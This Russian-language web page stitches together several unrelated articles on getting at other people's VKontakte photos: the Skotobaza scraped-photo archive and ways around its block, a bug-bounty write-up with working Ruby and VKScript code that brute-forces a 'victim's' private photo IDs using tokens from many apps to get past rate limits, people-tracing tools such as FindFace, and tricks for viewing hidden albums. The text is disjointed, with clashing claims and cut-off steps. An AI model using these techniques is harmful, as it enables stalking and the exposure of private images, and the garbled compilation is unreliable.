Поиск частных фотографий вконтакте. Уязвимость «ВКонтакте» позволяла получить прямые ссылки на приватные фотографии. Ищем нужный фрагмент

12.03.2019

Огромный сборник частных фотографий в ВК (около 100 млн.). Сервис собирает фото всех пользователей соц. сети в единый каталог.

Найти фотографии того или иного пользователя просто - достаточно ввести его . А удалить сложно, если написать на e-mail создателям, то шанс невысокий, а, если внести пожертвования, то шанс повышается.

Каким образом скотобаза собирает фотографии в ВК? Всё очень просто: сервис автоматически загружает в сборник фотографии всех пользователей в онлайн режиме . Неважно, где вы Выкладываете фото, в сообществе или профиле. Даже, если фото удалить через пару минут - оно уже будет в скотобазе.

Поэтому много недовольных пользователей обратились в Роскомнадзор , который поспособствовал тому, чтобы скотобаза была заблокирована на территории Российской Федерации. Обход блокировки невозможен.

Сбор и хранение личных данных пользователей запрещён . Хотя пользователи сами выкладывают фотографии в публичный доступ.

На данный момент сайт не работает даже с прокси-серверах. Владельцы забросили дело сразу же после блокировки. Так что можете спать спокойно и не боятся, что кто-то посмотрим Ваши личные фотографии.

Аналоги Скотобазы

В 2018 годах были разные аналоги, типа "Спалили" , но все они не работают, так как разработчики Вконтакте подкрутили скрипты, запрещающие ботам похищать частные фото.

Внимание: в интернете полно "аналогов" скотобазы, но все они мало того, что не работают, но и являются причиной взлома аккаунта ! Если Вы наткнулись на подобные сайты ни в коем случае не вводите данные от Вконтакте . Злоумышленники получат доступ к аккаунту и смогут .

Эпоха скотобазы и подобных сервисов прошла. Теперь хранение и распространение интимных, частных фотографий под запретом. Если не соблюдать закон - последует наказание.

Сегодня мы расскажем вам, уважаемые читатели, об одной крайне необычной фишке, которая присутствует в ВК — поиске похожих фотографий, когда вы можете найти пользователей, у которых в профиле загружено такое же изображение.

Зачем это нужно, спросите вы? Существует две основных причины.

Первая. С помощью поиска одинаковых изображений вы всегда сможете найти (или не найти) человека, который использует ваши фотографии. Иными словами, вы сможете обнаружить своих же клонов.

Вторая причина. Допустим, вам нужно найти человека, а у вас есть только его фотография. С ее помощью вы можете воспользоваться поиском по картинкам в ВК и, вполне возможно, найдете человека, которого ищите.

Стоит отметить, что сервисов поиска по фотографиям немало, например, он есть у того же Google, но в данном случае поиск осуществляется не по всему интернету, а только по ВКонтакте.

Ищем пользователя по картинке

Давайте приступать к поиску. Допустим, что нам необходимо найти клонов или пользователей, у которых загружена определенная фотография.

Первым делом необходимо открыть картинку, которую мы ищем. Если она не загружена в ваш фотоальбом, загрузите ее.

Открываем картинку, например:

Смотрим в адресную строку браузера. Вы должны увидеть адрес примерного такого вида: https://vk.com/photo********_384****** . Под звездочками photo******** скрывается ваш , а цифры 384****** , которые находятся после нижнего подчеркивания, это номер фотографии. Скопируйте это адрес, но без https://vk.com/, то есть у вас должно получиться photo********_384****** .

Закрываем вкладку или оставляем ее открытой и открываем новую, заходим на страницу ВК и выбираем раздел «Мои новости» в меню. Вы увидите новостную ленту:

Если рядом с подразделом «Лента» находится пункт «Фотографии», пропускаете этот шаг. Если пункт отсутствует, нажмите на крестик и добавьте пункт «Фотографии».

Нажимаем на пункт «Фотографии». Появится строка поиска «Поиск по фотографиям».

Пишем в строку слово copy: и добавляем ссылку на фотографию, которую мы скопировали ранее, то есть у вас должно получиться примерно следующее: copy:photo********_384****** . Обратите внимание, что звездочки — это всего лишь пример, под ними находятся id и порядковый номер фотографии! Например, если мы возьмем для поиска определенную фотографию Павла Дурова, то в строке нужно написать, например, copy:photo1_327778612 , где photo1 — id пользователя (Дурова в данном случае), а 327778612 — порядковый номер фотографии. Затем нажимаем на клавишу Enter.

В нашем случае удалось обнаружить 7 одинаковых фотографий.

Если нажать на каждую из них, то можно будет увидеть, какой пользователь или в какой паблик было загружено изображение. Вероятно, поиск осуществляется только по тем фотографиям, которые находятся в открытом доступе. Закрытые от просмотра картинки нам обнаружить не удалось.

tl;dr

Была обнаружена уязвимость в закладках ВК, которая позволяла получать прямые ссылки на приватные фотографии из личных сообщений, альбомов любого пользователя/группы. Был написан скрипт, который перебирал фотографии пользователя за определенный период и затем, через эту уязвимость получал прямые ссылки на изображения. Если коротко, то: можно было за 1 минуту получить все ваши вчерашние фотографии, за 7 минут - все фото, загруженные на прошлой неделе, за 20 минут - прошлый месяц, за 2 часа - прошлый год. Уязвимость на данный момент исправлена. Администрация ВКонтакте выплатила вознаграждение в 10к голосов.

История началась с того, как мне в личку во «Вконтакте» кинули изображение. Обычно, если вещь важная, я её загружаю в облако, но в моём случае в этом не было необходимости, и я решил воспользоваться функцией закладок «Вконтакте».

Коротко про эту функциональность: в закладки добавляются все вещи, которые юзер лайкнул; также есть функция ручного добавления ссылки на пользователя и внутренней ссылки «ВКонтакте». Последний пункт мне показался очень интересным, так как после добавления ссылки на фото я увидел его превьюшку и текст с типом добавленной сущности:

При добавлении ссылки сервер парсит её, пытается выяснить, на какую сущность она ссылается и достает информацию об этом объекте из базы. Как правило, при написании такого рода функций с множеством условий вероятность того, что разработчик что-то забудет, очень высока. Поэтому я не смог себе позволить пройти мимо и решил потратить несколько минут, чтобы немного поэкспериментировать.

В результате мне удалось кое-что найти. При добавлении ссылки на фотографию, заметку или видео, к которым нет доступа, можно было получить немного приватной информации об объекте. В случае с фото и видео - это маленькая (150x150) превьюшка, на которой довольно сложно что-либо разглядеть, у приватных заметок отображалось название. Через метод API fave.getLinks можно было получить ссылки на изображение, но опять же слишком маленького размера (75px и 130px). Так что, по сути, ничего серьезного.

Я решил зайти на мобильную версию сайта, чтобы проверить, отображается ли там всё так же, как и в обычной версии. Заглянув в код странички, я увидел это:

Да! В значении атрибута data-src_big хранилась прямая ссылка на оригинал изображения!

Таким образом, можно было получить прямую ссылку на любое изображение во «Вконтакте», вне зависимости от того, куда оно загружалось и какие настройки приватности имело. Это могло быть изображение из личных сообщений или же фотография из приватных альбомов любого пользователя/группы.

Казалось бы, на этом можно было остановиться и написать разработчикам, но мне стало интересно, возможно ли, эксплуатируя эту уязвимость, получить доступ ко всем (ну или загруженным в определенный период времени) фотографиям юзера. Основной проблемой тут, как вы понимаете, являлось то, что не всегда известна ссылка на приватную фотографию вида photoXXXXXX_XXXXXXX , которую нужно добавить в закладки. В голову пришла мысль о переборе id фотки, но я её почему-то тут же отверг как сумасшедшую. Я проверил связанные с фотографиями методы в API, посмотрел, как приложение работает с альбомами, но никаких утечек, которые могли бы мне помочь получить список с айдишками всех закрытых фоток юзера, найти не удалось. Я уже хотел было бросить эту затею, но взглянув еще раз на ссылку с фотографией, вдруг понял, что перебор таки был хорошей идеей.

Как работают фотографии в ВК

Как вы могли заменить, ссылка на фотографию photo52708106_359542386 состоит из двух частей: (id пользователя)_(какое-то непонятное число) . Как же формируется вторая часть?

Увы, но, потратив два часа на эксперименты, я так этого и не понял. В 2012 году на HighLoad++ Олег Илларионов сказал несколько слов про то, как они хранят фотографии, про горизонтальный шардинг и случайный выбор сервера для загрузки, но эта информация мне ничего не дала, так как между id сервера и id фотки никакой связи не видно. Понятно, что есть некий глобальный счетчик, но там есть ещё какая-то логика… Потому что если второе число формировалось бы с помощью обычного автоинкремента, то значения айдишок фоток давно бы уже достигли огромных значений (у фб, например, на данный момент это ~700 трлн.), но у «Вконтакте» это значение всего лишь ~400 млн (хотя, судя по статистике, ежедневно пользователи загружают более 30 млн фотографий). Т.е. ясно, что цифра эта не уникальна, но при этом и не рандомная. Я написал скриптик, который прошелся по фотографиям «старых» пользователей и по полученным данным составил график того, на сколько менялась эта цифра с каждым годом :

Видно, что значения скачут в зависимости от каких-то факторов (количества серверов или новой логики?). Но суть в том, что они достаточно малы (особенно за последние 2-3 года) и очень легко вычислить диапазон id для желаемого периода времени. То есть чтобы узнать прямые ссылки на фотки юзера, допустим, за прошлый год, нужно попробовать добавить в закладки всего лишь 30 млн (от _320000000 до _350000000) различных вариаций ссылок! Ниже я описал технику перебора, которая позволила мне проделать это за считанные минуты.

Перебираем фотографии

Можно было всё это добавлять руками через интерфейс или же написать скрипт, который добавляет по одной ссылке в закладки, но это было бы скучно и долго. Скорость перебора в таком случае составила бы 3 закладки в секунду, т.к. больше трех запросов в секунду на сервер «Вконтакте» отправлять нельзя .

Ускоряем перебор x25

Чтобы хоть немного обойти ограничение в 3 запроса, я решил воспользоваться методом execute . В одном вызове этого метода возможно 25 обращений к методам API.

Var start = parseInt(Args.start); var end = parseInt(Args.end); var victimId = Args.id; var link = "http://vk.com/photo" + victimId + "_"; while(start != end) { API.fave.addLink({ "link": link + start }); start = start + 1; };
Тем самым удалось повысить скорость брутфорса до 3*25 закладок/сек. За прошлый год фотографии перебирались бы долго, но вот для коротких промежутков этот метод перебора уже был довольно-таки неплох.

Ускоряем перебор x25 * количество параллельных запросов в секунду

Ограничение на количество запросов/сек действует на каждое приложение отдельно, а не на пользователя целиком. Так что ничего не мешает отправлять параллельно много запросов, но при этом используя в них токены от разных приложений.

Для начала нужно было найти (или создать) нужное количество приложений. Был написан скрипт, который ищет standalone приложения в заданном интервале идентификаторов приложений:

Class StandaloneAppsFinder attr_reader:app_ids def initialize(params) @range = params[:in_range] @app_ids = end def search (@range).each do |app_id| response = open("https://api.vk.com/method/apps.get?app_id=#{app_id}").read app = JSON.parse(response)["response"] app_ids << app_id if standalone?(app) end end private def standalone?(app_data) app_data["type"] == "standalone" end end
Можно было еще отбирать приложения по количеству пользователей, дабы еще больше ускорить дальнейший перебор:

Но решил с этим не заморачиваться.

Ок, приложения найдены, теперь им нужно дать разрешение к данным нашего пользователя и получить токены. Для авторизации пришлось использовать механизм Implicit Flow. Пришлось парсить урл авторизации из диалога OAuth и после редиректа вытаскивать токен. Для работы данного класса нужны куки p,l (login.vk.com) и remixsid (vk.com):

Class Authenticator attr_reader:access_tokens def initialize(cookie_header) @cookies = { "Cookie" => cookie_header } @access_tokens = end def authorize_apps(apps) apps.each do |app_id| auth_url = extract_auth_url_from(oauth_page(app_id)) redirect_url = open(auth_url, @cookies).base_uri.to_s access_tokens << extract_token_from(redirect_url) end end private def extract_auth_url_from(oauth_page_html) Nokogiri::HTML(oauth_page_html).css("form").attr("action").value end def extract_token_from(url) URI(url).fragment end def oauth_page(app_id) open(oauth_page_url(app_id), @cookies).read end def oauth_page_url(app_id) "https://oauth.vk.com/authorize?" + "client_id=#{app_id}&" + "response_type=token&" + "display=mobile&" + "scope=474367" end end
Сколько приложений найдено, столько и параллельных запросов. Для распараллеливания всего этого дела было решено использовать гем Typhoeus , который отлично зарекомендовал себя в других задачах. Получился такой вот небольшой брутфорсер:

Class PhotosBruteforcer PHOTOS_ID_BY_PERIOD = { "today" => 366300000..366500000, "yesterday" => 366050000..366300000, "current_month" => 365000000..366500000, "last_month" => 360000000..365000000, "current_year" => 350000000..366500000, "last_year" => 320000000..350000000 } def initialize(params) @victim_id = params[:victim_id] @period = PHOTOS_ID_BY_PERIOD] end def run(tokens) hydra = Typhoeus::Hydra.new tokensIterator = 0 (@period).step(25) do |photo_id| url = "https://api.vk.com/method/execute?access_token=#{tokens}&code=#{vkscript(photo_id)}" encoded_url = URI.escape(url).gsub("+", "%2B").delete("\n") tokensIterator = tokensIterator == tokens.count - 1 ? 0: tokensIterator + 1 hydra.queue Typhoeus::Request.new encoded_url hydra.run if tokensIterator.zero? end hydra.run unless hydra.queued_requests.count.zero? end private def vkscript(photo_id) <<-VKScript var start = #{photo_id}; var end = #{photo_id + 25}; var link = "http://vk.com/photo#{@victim_id}" + "_"; while(start != end) { API.fave.addLink({ "link": link + start }); start = start + 1; }; return start; VKScript end end
Чтобы ещё больше ускорить брутфорс, была попытка избавиться от ненужного тела в ответе, но на HEAD запрос сервер «Вконтакте» возвращает ошибку 501 Not implemented .

Окончательная версия скрипта выглядит так:

Require "nokogiri" require "open-uri" require "typhoeus" require "json" require "./standalone_apps_finder" require "./photos_bruteforcer" require "./authenticator" bruteforcer = PhotosBruteforcer.new(victim_id: ARGV, period: ARGV) apps_finder = StandaloneAppsFinder.new(in_range: 4800000..4800500) apps_finder.search # p,l - cookies from login.vk.com # remixsid - cookie from vk.com authenticator = Authenticator.new("p=;" + "l=;" + "remixsid=;") authenticator.authorize_apps(apps_finder.app_ids) bruteforcer.run(authenticator.access_tokens)
После отработки программы в закладках были все фотографии пользователя за заданный период. Оставалось только зайти в мобильную версию «Вконтакте», открыть консоль браузера, вытащить прямые ссылки и наслаждаться фотографиями в их оригинальном размере.

Итоги

В целом, всё зависит от вашего интернет соединения и скорости прокси серверов, латенси серверов «Вконтакте», мощности процессора и множества других факторов. Опробовав скрипт выше на своем аккаунте, получил такие вот цифры (без учета времени, потраченного на получение токенов):

В таблице показано среднее время, необходимое для того, чтобы перепробовать id фотографий за определенный период. Я уверен, всё это можно было ускорить раз так в 10-20. Например, в скрипте брутфорса сделать одну большую очередь из всех запросов и нормальную синхронизацию между ними, т.к. в моей реализации один запрос с timeout будет тормозить весь процесс. Да и вообще, можно было просто купить парочку инстансов на EC2, и за часик получить все фотографии какого угодно пользователя. Но я уже хотел спать.

Да и вообще, не важно, сколько времени злоумышленник на это потратит, 5 часов или же целый день, ведь так или иначе ссылки на приватные изображения он добудет. Возможность железно получить доступ к приватной информации за конечное время – и есть главная угроза, которую несёт данная уязвимость.

Сообщаем об уязвимости

Сначала репорт был отправлен службе поддержки, но после ответа вида «спасибо, как-нибудь пофиксим наверное…» и недели ожидания, мне что-то стало грустно. Большое спасибо , который помог связаться с разработчиками напрямую. После этого баги закрыли в течение нескольких часов, а через несколько дней на мой счёт администрация перевела вознаграждение в размере 10к

Есть в сети не совсем легальные сервисы. Например, Скотобаза. Это сайт, на котором хранятся личные фотографии пользователей ВКонтакте. А также когда-либо выложенные и впоследствии удаленные. Еще можно найти скрытых или удаленных друзей. Сайт заблокирован Роскомнадзором, но блокировку можно обойти. На момент блокировки роботы собрали более 106 миллионов фотографий.
Лично мне удалось найти свои фотографии, выложенные в ВК еще 2009 году и давно удаленные.

Что собой представляет Скотобаза

Традиция слива фотографий в рунете идет еще со Школы уродов начала 2000-х. Школа уродов – это сообщество в живом журнале (LiveJournal), куда выкладывали неудачные фотографии пользователей социальных сетей, чтобы посмеяться. На Скотобазе раньше было что-то подобное, но с 2014 года Скотобаза запустилась как сервис хранения приватных фотографий пользователей ВКонтакте. На самом деле не совсем приватных – если на фото висит замок, то ни в какой Скотобазе оно не окажется. Просто многие выкладывают личные фотографии для ограниченного круга лиц: например, в альбомы закрытого фитнесс-сообщества. Или в открытого. А уж оттуда фотографии перекочевывают в скотобазу.

Что в ней можно найти

Прежде всего фото, которые не выложены у пользователя ВКонтакте в открытый доступ, но, тем не менее, где-то как-то были засвечены: в сообществе, в кругу друзей и тому подобных альбомах. В общем вы сможете увидеть больше, чем положено. Хотя не все пользователи есть в скотобазе, и не все новейшие сливы залиты туда. Как я уже сказала, я нашла там свои фото от 2008 года, но новейшие фото пользователей вы вряд ли найдете просто потому, что сервис в настоящий момент перестал собирать фотографии.

Можно ли удалить фото из Скотобазы

Раньше существовал сервис платного удаления фотографий. За 490 рублей можно было купить покой вашего профиля ВК. Фотографии удалялись и больше не добавлялись никогда. Теперь такого сервиса нет, просто сам сайт заблокирован Роскомнадзором. Но это не значит, что на него нельзя зайти в обход блокировки и посмотреть, что там.

Аналоги Скотобазы – есть ли?

Нужно понимать, что фото и видео контент занимает много места, и в два счета такие сайты не сделать. К тому же их все равно блокируют. У Скотобазы был аналог spalili.org, но он больше не работает. То есть его совсем нет – нет даже блокировки, которую можно было бы обойти.

Зеркала у Скотобазы тоже нет. Скотобаза несколько раз пыталась переезжать на разные домены, но их все равно прикрывают.

Обойти блокировку сайта Скотобазы можно. Для этого годятся точно такие же способы, что и для обхода блокировки сайта Рутрекера – оба эти сайта заблокированы Роскомнадзором, и достаточно войти анонимно. Для этого в браузер можно поставить расширение, подробно это описано у меня в . Там для каждого браузера расписаны возможные расширения, и где их взять.

А недавно вышла новая версия Оперы со встроенным VPN, появился еще один способ обойти блокировку. Для этого нужно просто включить режим VPN в настройках оперы, и после этого спокойно заходить на скотобазу. Объясню, на всякий случай, как включить в новой опере VPN.

Как включить VPN в Opera

Во-первых, у вас должна быть новая Опера (не старее сентября 2016) – скачайте, если нет.

Можно заходить на Skotobaza.org.

Быстрый одноразовый способ

Если вам совсем лень, то обойти блокировку Скотобазы можно так:

Пример использования Скотобазы

Вводите в поле идентификатор пользователя в контакте, например, id123456, и получаете его фотографии и список друзей.

Поиск по скотобазе

Где еще можно поискать людей и фотографии

Если не получилось попасть в базу сайта или в ней ничего не удалось найти, можно попытать удачи на других сайтах. Бывает, что информация, закрытая в ВК, открыта в Одноклассниках, Facebook, Twitter и прочих сетях или выложена на неожиданных сайтах. Итак, вот способы пробить информацию.

Поиск людей по социальным сетям от Яндекс

Допустим, есть имя и фамилия интересующего вас человека. По ним можно поискать профили человека в других социальных сетях. Для этого попробуйте ввести имя и фамилию в сервисе (people.yandex.ru). Там можно указать и другие уточняющие личность параметры.

Сервис FindFace

Если есть фотография человека, можно использовать известный сервис (https://findface.ru), который теперь ищет также профили в Твиттере. Этот сервис заточен на распознавание лиц: в нем можно, например, найти человека по фотографии, которую вы сделали на улице.

Это значит, что если в двух профилях ВК и Твиттера одно и то же лицо (пусть даже фотографии разные), то по фото с одного профиля можно найти второй профиль.

Поиск по картинке Google

Можно выполнить по изображению: если есть картинка, которая, по вашему мнению, может служить для этого человека аватаркой где-то еще, то можно выполнить поиск по картинке: вы найдете этого человека на другом сайте. Возможно, на другом сайте будет больше открытой информации о пользователе.

Разница с в том, что FindFace ищет похожие фото, но только в ВК и Twitter. А поиск в Google осуществляется везде по всему интернету, но картинки находятся только идентичные (точь-в точь), умного распознавания лиц тут нет. Похожие картинки в Google тоже выдаются, но схожесть определяется по цвету, форме и т.п., а не по лицу. В Google можно только рассчитывать найти идентичную аватарку на другом сайте.

Итак, для поиска в Google по изображению:

Поиск по картинке Яндекс

Аналогично можно выполнить поиск по картинке в Яндекс.

Сервис поиска людей по Facebook

Еще есть интересный поиска и отслеживания людей в Facebook. Этот сервис ищет все комментарии определенного пользователя, фотографии, на которых он отмечен и многое другое. Встроенный поиск Facebook очень ограниченный, но сервис помогает обойти ограничения.

Поисковик Нигма

Иногда поисковая система (nigma.ru) выдает профили, не найденные в Яндексе. Хотя вроде бы это вторичная система, использующая не свои алгоритмы. Тем не менее, я нашла на первой странице то, что не выдавал Яндекс. Попробуйте, может наткнетесь на что-нибудь интересное. Просто введите в поисковой строке имя и фамилию. Можно попробовать ввести псевдоним человека, если он есть.

Ситуация в 2017 году

К сожалению, в 2017 году способы обхода больше не работают. Я проверяла несколько раз. На данный момент сайт не просто заблокирован Роскомнадзором, но и сам по себе больше не поддерживается – его нет даже в обход блокировки. Видимо создатели решили, что дорого и бессмысленно поддерживать этот сайт на плаву, если в обход блокировки на него заходят все равно единицы. Несколько десятков человек в день заходило, я думаю. А это слишком мало.

Многие пользователи ограничивают доступ к просмотру своих фотографий, с помощью . Или возможен такой вариант, когда альбомы не опубликованы на странице — вы просто не знаете, как зайти в них (см. ).

Но ведь очень хочется увидеть, что же пользователь скрыл. Давайте разбираться, как посмотреть скрытые фото вконтакте .

Используем id страницы, для просмотра скрытых фотографий

Заходите на страницу к нужному пользователю, и копируйте из адресной строки его id (см. ).

В том случае, если нет цифрового значения id, а вместо него указан выбранный пользователем ник, то нужно сделать следующее.

Вам нужно перейти к просмотру любой части профиля пользователя. Проще всего открыть аватарку.

Теперь вернитесь в адресную строку. Найдите следующую часть кода «z=photo233054» .

Цифры после слова «photo» , и есть id. В данном случае, это вот такое значение — 233054 . Теперь переходим к следующему шагу.

Как посмотреть закрытые фото и альбомы вконтакте

Если вы посмотрите на страницу пользователя, id которого мы только что получили, то увидите, что для просмотра доступна только одна фотография. И нет блока «Фотоальбомы» . Значит все фотки и альбомы скрыты (см. ).

Так давайте уже посмотрим их. Для этого снова перейдите в адресную строку, и наберите вот такой текст:

Https://vk.com/albums***